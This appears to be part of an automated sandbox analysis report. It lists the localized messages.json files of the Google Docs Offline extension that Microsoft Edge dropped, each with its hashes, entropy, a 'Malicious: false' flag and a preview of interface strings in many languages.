Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
